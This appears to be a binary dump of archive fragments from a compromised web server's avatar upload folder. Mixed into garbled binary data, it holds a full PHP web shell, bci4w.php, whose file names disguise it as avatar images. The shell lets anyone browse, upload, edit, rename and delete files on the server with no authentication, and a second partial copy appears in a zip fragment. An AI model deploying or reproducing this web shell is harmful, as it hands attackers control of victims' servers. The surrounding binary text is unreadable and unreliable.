������_��E�9�b�Ѿ���%r��?��t������t�E��i�)�ټ1�co��hb�
A�Lw��	����/8�'H���+NR�k�I�$�t��\TƘ�4v��fͶ������rF>dL�U1#�<�
�����DV�E�ʨT
���C����DK���,aȌaÑ�HQ���1
>U��AVV$�߸�F��51�U����R�s�MGN,p�y�Т��
���`���hT;R-�ɦ'W�Z���Ds*1�����]�.�[bl��%�Fr|4� UuztK:�N�Eِ�~�#3�!��F�9}�i&Z�:������]N��4�'�6|�s5�pZ�FMx$D��hK����u
#�0ٍ� t��r�x�N�R^�[�Kf=�v����j���Q�h�°0&O��3���9d��4sk'H��,}%n���]���!��c�ʸpk�1/)�C�W�ݍQ%u�.��
}��j�I�Ϟ9��F��r,������z�CN�^7h��Q�E�g�1!����jBu�r�H`�fΉ���֨Ln��>�s�>xQsnђ#@��VB�/�Df����璀ʻ��i��Tу!;ɚ`K���vr�S��K>7t;��N^�\O�X���p��p'���nn�|�֝ƻ�&gk]Ec���C�����(*�>��G-�˾���LqP&T،�v�.���e��M
��|E��*�4$�g��0�|����LLn�@���(���w+z\l����T�m-���z5�éeVWWS�ᄗh$���0�:
�&�a�?>�KJ��i� /���H��zq%% ��n����V�x|��Eѭ�r�ߊ��r���bz���{.5��
_����G�-am�k�*��]�����vq�+���1���n1�����Iᶏk"�s��p2��I�M�G���e�4ʠ��W�=�N�w�65m$��22��G��o>�] {���7�C0��)��H�_�3�n~cJ�aP�_b��q����D/bѼH/�?�ޙ��m�K�0��k'�KK|�vS˵b��v��JPܱ���~Ȍ}�.�=)�ܠ.� .�P�?Lr8�N�/8U�V�m�_��@B��~�O��0*��8,�,�="2s�;w�޳��}��o9p��C���v��knm~�PtJ�E��J�V_���l��WVO�Ig�#�c㛷lJE�|ln+����`�[L0>g�+��n�-�i���l��I�g�U�]���$�PH�*T�p:���;ӊUT��Lv˱�x����<�N���lj���M�8�m�0Z��y�E�u1^�����|Y���	�ٚ�#R�r$�������4�q#T���8=�x�4���䣬z4*��G#���(��W�2���P
O��8����9�`����k��#&��|���,��(���<���5^1�_�,������橞�^��M���8`sAS���1G��Uu)��e��~ OdrG��v��N�HŤ'l7\XZ��hr�Y�ц�l�Z�5'���D��ȥzsՍf���2�^*�\A�?Qc����@�W&VVV�+#�z��:r(uh�a�c4�5 �O
�_�PV�u�u>7�[�L J����S�M���#xr�M��+���TJ<��T��k�� �������g����ک �G�b4�q�8g�ni~x87Uu��Ά�;��2&���a&��	��ask����Ӛ��Ȯ�-�TNܛH�&��޳�gM�#@/S09A&p�I�讙`����fR�Ʀ���V��k�rB׬&ؒ�N�._򹈮�oڊJ��lO0��.Y�l�GS\\5i�L�y"��²*�Vy/��z&�[��EՄF�α���I�5�$�9�V#	->��m�9a���b�(��[8���������DL���<�1���c�u��V}���i�\5�5��Q;�ғ�!&YG�L��&��Q�q�g���T8ȴ��	�c-���z#	7�͔��L��զ�h�9���R,���ޝ,��pxn�Wɒ��ĩ"Qy˱��|�,�')&u��s����<7���%S�ݐJ��%�Ϊk����Ck8�~t��W;P�S����I�x�)&p����I��u
RrF�t4��*Iqޮ��s�M�əb���wI��\��*����	P�V���I<�Q��T�$�Z�?i��ηC=���$xY�'�<*�N?9O+�gV0�{��BGCFu����5��;�V�>o��>�դ@e��?�_5q����`��§R�.�c�X+�?g�(&DZ_�M�"�㮞�P�#�B�ѻ'�}_@�C�j -������m�>�r�����p�y�6�����`'��G�'8\!�,,����3�oO�k�6i?B�UqVq��6[tt�tD!u��d� �c"JF�Q���}��
�%4��U�t��y'��.��!Dpr��[�3ϱC�:�3�����a:.�5��lE�R�,חx���G�K���BB,��N0�C�b�.E�8W7Os�'�"
<�����x���s5/ޗX�~4���|�<�C[�������Q�6(�9n�ш��<�H)��Ы�M{�1�������v��4�0Θ���dM���8��YBW�+�?�����b�����h�7�Qg&9#+0Л��-fT֥zQ��oe��Zs��3"Z�(@�ej��/����Ka4�:�VO�xp�H>��A���
~(���sbPE��ԯri<��X���d�ߖ����ᖺ��3�>Us�41�+�_���aAPW��
,v'$�](��~@瀄�l��ᔢ:�L��C�hHGqE����jn�:�敋M@Bx$�����#.-i2�'U<S��hᕖL-7O��>�*Հ���s��H4�8�V��f*����5�\'1A΢�,P1[�*Ң�)�^cEģ�op�K��C�V6������5ܔ]����.��J�eշk�uO�8F�A��L�p2��e;�`�i6�eRpŕZ;���!Ar+*�J�1�B�Z�+�t㐀W�NF�d��Ut�	��橚v���C]�F_6��f�6��Ď(5٧٧xE~r~u������e�L{%���@Zԑ��E�<҅ �-�)X���t���'����qP�?ݩ`}x�w�4�kQ�9>��kY���J�.���5�l�����m-:`�5��v���N�m_k�}Ƴ?�j���Ѝ�Q6��[+�
��p2��S�I�77�s���D}���^�=���]�b&OO�,߼��d�5C��>��4���F��8�z�-Kɇ��
e&`2��>3Lk*nL��R@�����[)�{��{Q�
%��ךG�6R��B���҈�(o�J_��V��f-������;>ϊ�NN��im�6B(�
:�2�#���R�4��[`=�݈Z&0ɼ�x篭5ڽ� M$v����0�&�����UP��{�5���A��T(}��u�<��Y��Dw?RZ�
�"��N�v�N�-1J	x;Bo�Iz?��r���&8��+��ɔ�Q�ރ)��I�Y�b>��h���OMXPD.I�9���ص���O�����Te�L�TɗE�YN�XF�X�*p5�Wh�A�Y�) w���
�4���ߧU�)�5MU�7�/
bL2?�u���H�H�%�d�>�ث������%1�zHO�O��!m�A��ۈ��4���������ba<J���s�r�ۣ)����Xpri�"�C�E���X5n#��u�����Rdݲ+�Q�K[9Bo�J�`�U�� �
�e'_:�Pi�\D'cXI��Zm�d�Ǻ�/��t�`�;HF�B��!�b��#B��N��ٺ�M��L��#�u���rLa��X�C�=�O0���>nG���v�Y�xx����&�Ƣ���u����܀���U�'Y�OjP�1����f�lY�f��%��"���=b�E�A�Ф	l�b����G=������"8x�@8� ���Cz�$�d��0��u������UW��&mʨ��ӲV>��PD4C���f������M�ȳИd�قPS=V��J
7�
Ido���i{����8�� ^[�w�$43ώIq~�~���R�S�Q�;�k E�9�K��a�N��&��Mf�An0��_����2
�==���h�����]]�D�����a��F�pK�vpk�V�9�v����yFx��U��(2m����Hc���Ma�f�*�W,�;3�E�nUzh��(���ٱ����ަD���x�1����Qi^���r����A�fH�b�|&��(N�T�E��e'�"�Vn��K�5���_`���?��K
��S�T~��/��T>+�_R��l�zɖEwEg��?Yo��n��@��9e�1�.�Z;�B��9�3�ŵ���,p���#�)e�e��}�B�������!���a�KR��Χ�X��+�M��yӯ�R����r�"쨱`�H�z@[]&��Ľ�1v��J�jK�R]��WH�+4o=�V:�
�y`icҽ٪�d,���0�����d(�����X`<�������ɡ����������BK��v_��F�,ǶnE#|R)��f:<�����<E �$���L��³tAZ����pk�R,��L�	��|����Aatg
�5��u5�[���񿸑�;�bl{�Rhc�d��l (��:4T�,&�PP��$�����
���0��[�<�$eTBeHح�ۂ��p���b�
IB�{�x��F9�'��~�	O{?te-�?F[IL��C�#m9M/<p�.�G��փ+ռ�Ў
�2�ad��xܤa-ڈbm�l[��Yn���R��Y�����A���/��{9uk�*�RlY�#�\��'��&PAm��=R�pFT���	m�s _���G��R�3�i�d���˥��\�jź��ִ�'�j����7��0چbKN��qy��׈=>:�[�1,���	/��|P�QJ\�ޤ�,mN�Y�ng�|ܶ7V��e�=���:��B-��>c�`q鳺�,l-i�>{�\W�Z��v7PXm�v��1V���YGݳr�f�,'4�۞��QUy"�*��5����Q�YM�PU��o��b����=
X�YV6���q�W>����,zDJ\%
Cn������PpI�j	������1i}o=/���
�Wjz��W�Q.���	�u�W����Ri���_�@�)+ć1��
Pd@����a�e5�D�z��m;3U^��!͇���n��ԦL����w����?�qKWk��Jf�I��Y�3yQnB��iUM7"um~G��g]�3���n�;�������ɥ2�G�Ƃ�/����Q�s��d3�>�{&�e�g�N�6��]�o���{^L_�ڗx<�J}�ob��؁�g���T�B���{ {4���/H�K�Ml����G7��n���g3�>��#����UW��S_��?�r��<p�g���_�{^�M�_������c��<u��\�̶;��~����bqϺ��r���}��s���?x��[�?�_�W];z�=#?x|�ԟ}���p���?��j�}�C_z�����ﻦ�ݷ��Ci��;
�r�;���ַ���˾��7�~���/����w���|�𱃏��󏥿�D&=�ɜ?��>����F�3/����܅>�>��P�wb���#�_ox�̹��<��o��7�=w��s�z�eW����]Gw���W�p��K�^1���u�~���ܸ�Tڸ�t��
���7�<w۞�=�K��������M?��o�h��ɻfn�t��o����ν��m�������ɗ�*_wl�����7�=���s(�q�������{�9:��>�ѕ����y�GJ_|�C�w9�����?x����c��'���7o��Wn��ߞx�#��uz�?>����������wx�}���?���o�]ϼ��/���۩�6�6,�����x��gn��~�W銯]�7��_ܺ��__=w�k[�}���v&3���?x����my���F�䯯~擟��g>��M�f�<��ߺ���
�����^��ޚ���؍��}�#׭����?���<��������V�PK!V�

10/4yd0ui/67e272a89d6f9.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67e272a89d6f9.jpg000075500000001567000000000000017735 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!��r��&10/4yd0ui/67c1be3c7f0cd.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6LJ5N6O3HN��*Hg �����8����� d�+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@�5k
PK!�{���&10/4yd0ui/674dc9a7e6beb.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�737II�L4O5KJM��*Hg �����8����� d�)a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��Ƹ�������������FNNNn	^^	#EE#����))̌JL��̂���0�300�2�,��YX��98���
�
001233�0����ek��,��B���l��J�"F�r(;m<(t�qRQ'������������	0U[XZ9����{xz����GDF%+=#3����������������k��)S�M�1s֢�K�.[�b�M��lݶ}��]�9z���.]�r��7o=|���g�_�|����/_�}����_�̌0��_�@1��0������TR �ªh�&�ȞX(�d��!�4q�ƃ���AD��.r���<T���g�y��,��=���-fF`�12�3��ץ��i�c��7(���Q0
F�g*
PK!|�jƉ�&10/4yd0ui/67e272b25bcec.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J22MJNM��*Hg �����8����� d�(a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@���
PK!���!!10/4yd0ui/b3vd5z.tar.gznu�[������r�Fr��j�a�՚TY$�ۑHzeI���c˒r�r����	�Q�Ɵ����)�=�L�M�*����s��ŷ��`���;[[��[������x��llm���4=�PR$����G���ׇ�?�9&#�:ݿ���g�Po�1�g��Ǩ
#G�e�kDE�dǸ8�xb䞍��&����A��w*y�a�|O2&�<�0{��S=겎q��8��@��-G��r�5�����:�Т�7[S\�K�u��ڦ��]��`���L�{�i�^�*���oE�c�������߷���V�:����6�i�a���r�	w"��1B9qX8bL�"D
.'�|D7�l5N�9�O�ۃg�����כ����;��������Ko���i�Cl��9>9�_�����]�=:ع��^����C�u�������Y�hV�i9~d*X��]�^�;�����t�B�e�jAINg*s������������	���ǁuq�w��9}���y������o��ƒ�p�N��Ip��yc�5?��6�g���W/�'Wg���oyH��N'C�B ��	�D�;��<���2��n��þoO�H��)�A�З�9�<Kr�����¥�d`�a}�?�,\�P�̨e@�g��!���ݭ�'[�Y <b��"��DOH暙�kdc�4I��<��H>愬Ho����/ ��M)�Z��/�)#�W�� ����Q���:�%P�b��Yk�O���Hx1x�)��Ԯ�Î� �pU_��Y��Q�Q"P~�	
�Fj���H8��K��
w�(�N�
���Fz�x��U0�'��};Hn�@����V�Ƭ������~JlLo�ݢ��W�`O�0���V����!}�3Q/�ev��	��&a@t�E��ƌq���9��c@�D@pA��A?ݶɻ�����#I-�A]�VBbD]bX	��XJ@	3�A~��d�,H�/�g��,`ٞ/[��g�^�XX�"��G�{=m2HgM���bDF��
w鐅�	f-�Z�0gs1��N.�=�>�S�="u�|nAeّ/}�M��Qȭ-a���O��C��r\U�i97DUT;�l�e����
���
�����K� hbx���&����\?����!��?�[���O��MH��=��Z��B���S̤�"Ǵ�`L#�t��Z[P���1P�^��b8�!�+�����ZP��w�`n '��D�5”N��~�Þ�E=�������n�CK�@v/=�e��׎�`��ń��BD�d6k&����B;�~��s��MǷ(�]3�Y�z�6c�9g"�r+%��xC�JF�7e�����"���B�=�b-�����-䜧Ԓbp�
 �׍7�/4yD�i�kиx�6	N0�CN�'H	�4{���}j]�yvÂ�H쑿������b��<:d�Oi�4>��Y���J;�!�����Ɓq�C]�Ě��n��lA�ɐ=�0tR�^K�Z��6����Գ&���*P,P�]���
"��`��zKC�l��Xaз�3�7}�٥V#��9Қ]z|RDl���De�؝yitM�(���r(�E\���{��ɣ�g��R'�[� iwP@>~\�Y�ŀ���X�����)ۜ|�PN9�P.�~^�Ѐ��7A(Рi�$�L���%c���VGhȩG`4�~tө�H8:7�3)Z�jJ�P���(�ڗ�_æ�� r�)�{���P�M}3���ssK�w_�~u��D2����؁�Kq�~Ms�$80a�� �%9%�@���ܞ߿BG� D@��zf
�;6i9��+��RD��SS�Slu��U���d�<J\��&�L{l�B�}�hCH�C&�$3gU�J� 
!���[����X��e	�����T��z
&�_}��#�;U�Cdv�X�n��!��	����7�ߑ�J�p��ʷ��3{.�&�p.ā*��00�|�D���7k�8�Xo�h�z\g�Y���i�Q�u
MM��H?/�a5UL��薄Y}+	� ����m4�fMbS	��9�������Gs%w��3�ZoiaUeI���ZU�Y#���JƧcJ��N�-×�Di7�|$:-�
K��e�y
�7›�
�Kg�"GG�arY��!R�pT��1�ͼN
�^���-�"3g�Z�neӸ���EOM�-l@*Ypg�h�9��v�\-C���Ŵ�����23�O��m6o%�6���X�PX��*�h���4�Y�
ݧ����7t�R��s�e\(�����0WN{��.��+�@-p����#u�\�ד
@ɍ�I\&G>�6�C�>A���u#Gr��MU���Q#��3XAK*$�'��^��ͽ �q��6��W�8>�u�mn�t+P���\����:�$H5�(�������+M��o�6����"�:#���*�Iv'��*��c�\���W�Os�P��\Y�$�x���Dx��ô��T�҂��Q��ܵ�TMu��R��o�i�m܌#�\)c�
AU�����:�AC��-+�A��k�T٧��{�U��J�RM6��>��n�����j+k�|��~b�:����ۭ0`��� FU�!����]	4�ʚ9y�� ��,d��_�zg�v�x��K���o]ԨʑO+����G��f�
/��]y0�s}�x������Xp��Ԅ5��޴�X<�6^�|���e�r���XY�79�9�Z�$���X��.���/�>>{�Ϸ���a?�Ȯ�z����*�
z�Z����7�Aߥ<�O�8��gTW�d�L��m&L6�f�ۮ����™/�d�����b��7$?�ƙE�,MU%a/���C�V\�t�f�j�0­��*�j��6����@٦:��i�S�br[�U�n�w,��XB��K��J����>=7��j�>���|�#�_�� �����=ǻ;7oGׯ�}�o����φ��N 6�_9���N{ѻg����o�
��nt��������cw�l(�_3�M�5��q�����C���h�2PK!��᠉�&10/4yd0ui/67c6da0a349ea.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6KI4H46�LM��*Hg �����8����� d��+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@t8��
PK!��h�2210/4yd0ui/b3vd5z.tarnu�[���bci4w.php000064400000025735000000000000006242 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�5k

10/4yd0ui/67c1be3c7f0cd.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67c1be3c7f0cd.jpg000075500000001567000000000000020127 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!����u,u,10/4yd0ui/b3vd5z.zipnu�[���PK!�2<�+�+	bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
